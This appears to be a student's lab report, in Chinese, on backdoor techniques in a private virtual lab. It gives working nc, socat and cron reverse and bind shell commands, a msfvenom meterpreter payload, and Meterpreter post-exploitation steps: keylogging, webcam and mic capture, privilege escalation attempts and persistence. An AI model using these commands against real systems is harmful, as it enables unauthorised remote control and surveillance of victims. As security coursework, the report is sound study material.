Exp2 后门原理与实践
实验环境
攻击机
- kali 4.14(64位) (IP: 10.0.2.6/24)
靶机
- ubuntu 16.04(32位) (IP: 10.0.2.4/24)
- windows 7 sp1(64位) (IP: 10.0.2.7/24)
nc/ncat的使用
nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具,有着网络工具中的“瑞士军刀”的美誉。nc的实现版本大致有两种,一种是带有-e或-c 选项
可以直接给出执行命令,另一种不支持-e选项
。
ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat号称“21世纪的netcat”,是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http)
nc的监听模式在kali下会出现问题,监听的端口会随机变化,因此推荐同学们在kali下使用ncat。
nc后门获得win/linux shell
在win7靶机下载netcat后,进入netcat所在文件夹,在命令提示符中输入nc -L -e cmd.exe -p 80
启动后门服务。
-L 选项
或-l
选项是将nc设置为监听模式。-p 选项
指定监听的端口(混淆为80,53等端口往往能穿透防火墙),-e 选项
可以绑定到cmd.exe这个shell程序。
在攻击机中输入nc 10.0.2.7 80
连接到win7靶机,获得win7的shell。
ubuntu自带的nc版本没有-e 选项
,当然可以用ncat替代,这里展示一下没有-e 选项
的nc如何获得shell。(参考man手册)
输入
$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/f
攻击机连接后,得到shell
nc获得win/linux反弹shell
前面的示例都是靶机作为服务器,监听攻击机的TCP连接。下面我们让靶机主动连接攻击机,获得反弹式shell。
在攻击机中输入ncat -vv -l 9190
进入监听模式,-vv选项
提供详细的状态输出。
靶机中输入nc 10.0.2.6 9190 -e cmd.exe
主动连接攻击机
攻击机获得shell
nc后门配合cron启动反弹式shell
crontab计划内容的基础知识可以在实验楼中学习,这里给出crontab的格式:
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
- 在攻击机下输入
ncat -vv -l 9190
在端口9190监听
2.在靶机中配置crontable,让它在中午12:00,连接攻击机(做完实验正好出去吃饭)
3.时间到了,攻击机显示靶机10.0.2.4连接,获得反弹shell
socat的使用
socat也是一款很不错的网络工具,可以认为是nc的加强版。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。
这里我们只把socat作为传递shell的工具使用。
socat速查
- 连接端口
socat - tcp:10.0.2.4:80 #连接ip 为 10.0.2.4 主机的80端口
- 监听端口
socat - tcp-l:8080 #侦听本机的8080端口
- 传递远程shell
socat tcp-l:1234 exec:
,pty,stderr #当有主机连接本机的1234端口时,将会发送本机的shell给连接端
socat配合windows任务计划
在win7靶机中点击控制面板->系统和安全->管理工具->任务计划程序
,进入下面的画面:
选择创建任务
,在常规
选项卡中编辑名称,并在触发器
选项卡中选择工作站锁定时
,这样在靶机锁定的时候,我们的socat就会传递远程shell
在操作
选项卡中绑定socat程序,给出参数tcp-listen:9190 exec:cmd.exe,pty,stderr
然后按下win + L
锁定win7靶机,在攻击机中输入socat - tcp:10.0.2.7:9190
,获得远程shell。
Meterpreter的使用
终于到祭出神器Meterpreter的部分了!Meterpreter是Metasploit框架中功能最强大、最有发展前景的模块,它作为可以被渗透攻击植入到目标系统上执行的一个攻击载荷,除了提供基本的会话控制之外,还集成了大量的后渗透攻击的命令和功能,
比如敏感信息搜集、击键记录、本地特权提升等等。
注意事项
市面上的一些关于metasploit的书在某些方面已经过时了(我说的就是参考书《Metasploit魔鬼训练营》和《Metasploit渗透测试指南》),msfcli接口已经没有了,msfpayload和msfencode模块也被移除了,取而代之的是msfvenom,它集成了这两个模块的功能。
所以《Metasploit魔鬼训练营》第9章中的一些内容无法复现出来。
生成后门程序
我们用msfvenom生成一个windows平台的反弹式后门程序,连接端口为9190。
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=9190 -f exe > 20155110_backdoor.exe
我们把这个后门程序拷贝到win7靶机中去,方法有很多,这里使用ncat。
在kali中输入ncat -l 9190 < 20155110_backdoor.exe
在win7靶机的nc所在目录下输入nc 10.0.2.6 9190 > 20155110_backdoor.exe
这样就将程序拷贝到了win7靶机中。
开启后门
接着,让我们进入msfconsole中去,输入use exploit/multi/handler
(可以用tab键补全)
然后选择payload,看一下使用这个攻击载荷需要设置那些东西:
设置攻击机IP和监听的端口
接着输入exploit
,然后在win7靶机中运行后门程序,猎物就上钩了。
进程迁移
为了保证会话不被意外终止,我们首先需要将会话移植到比较稳定的系统服务进程中去。比如explorer.exe。
输入ps
查看win7靶机进程,发现explorer.exe的进程id为2020,我们把进程迁移到它上面。
输入migrate 2020
,进程迁移成功!
检查是否为虚拟机
输入run post/windows/gather/checkvm
,结果显示靶机是一台虚拟机
获得windows命令行
特别简单,只要输入shell
就行了。
获取音频
非常简单,输入record_mic
即可,虽然很无聊。
打开摄像头
我使用的虚拟机软件是virtual box,需要安装VirtualBox Extension Pack才能让虚拟机使用主机的摄像头。
安装方法(https://jingyan.baidu.com/article/a3761b2b8073361576f9aadf.html)
输入webcam_list
,发现靶机中有摄像头:
输入webcam_snap
,给张照片(被自己丑哭了):
输入webcam_stream
,持续打开摄像头,实况直播.
截屏
输入screenshot
即可
键盘记录
输入keyscan_start
开始记录,keyscan_dump
导出记录
尝试提权
getuid
显示当前用户,输入getsystem
尝试提升权限,但是失败了,很遗憾:
Meterpreter的持久化
Meterpreter仅仅是驻留在内存的shellcode,靶机重启的话,攻击机就会失去控制权了。如果被利用的漏洞被打上了补丁,重新入侵就非常困难。
通过使用persistence或者metsvc的后渗透模块,在靶机上安装自启动或系统服务的方式,可以达到长久控制靶机的目标。
但不得不说,这些技术有些简单了,很容易引起人们的察觉,也没法逃过安全软件。
persistence自启动
输入run persistence -X -i 5 -p 443 -r 10.0.2.6
,-X
指定启动的方式为开机自启动,-i
指定反向连接的时间间隔。
靶机重启完毕,我们在攻击机上收到了Meterpreter的会话。
metsvc模块
metsvc模块将Meterpreter以系统服务的形式安装到目标主机上,直接输入run metsvc
,只可惜失败了。
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:后门一般隐藏在正常应用程序之中,甚至官方故意将后门设置在系统中。我们在网上下载所谓的“破解软件”、ooxx视频、未知邮件附件也可能携带后门。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:直接诱骗用户点击,通常将后门伪装成正常软件,比如网上银行之类的,曾经有电信骗子就被微博博主“中国元”忽悠,亲手打开了后门(笑)。
也可以修改注册表设置成开机自启动,或者直接将后门安装成系统服务,但这些手段暴露的可能性很大。
(3)Meterpreter有哪些给你映像深刻的功能?
答:这次实验的所有功能都让我很兴奋!
(4)如何发现自己的系统有没有被安装后门?
答:网上的一些老手喜欢用手工的入侵防御系统(IPS)自己配置规则,自己查看进程和注册表来发现系统的异常,我作为小白是完全不会用的。
所以只能依靠360全家桶了……(笑)
实验总结与体会
metasploit实在是太可怕了!于是,我有过这样的幻想:有了这样的神器,我觉得自己研究个三四年,然后在公网上部署一个metasploit,虽然没有技术水平写属于自己的shellcode,当个“脚本小子”完全没问题!虽然我只是一名普通的公务员,工资水平一般,但是靠干“脚本小子”的活说不定能挣到一笔外快呢!我听说做黑产是很挣钱的,就算是在产业链的尾巴上,也能挣到一笔不小的收入呢!攒着这笔钱买房买车娶老婆给父母养老……
回到现实吧,的确现在入门网络安全的门槛越来越低,但这不等同于学习网络安全技术很容易。
真正的一线黑产、国家黑客、高级安全研究人员可都是计算机技术的专家!这些本领不是简单地输入一两条指令,使用一些工具,他们的技术能力是建立在对计算机和网络无比熟悉和精通的基础上,从而拥有“除了上帝,一切皆可渗透”的技术自信。
认真反思了下自己,我觉得自己和技术是无缘了,就算我真的爱财,也没有门路和能力在黑客技术上挣钱。
但把安全技术当作兴趣爱好还是可以的,毕竟挺好玩的。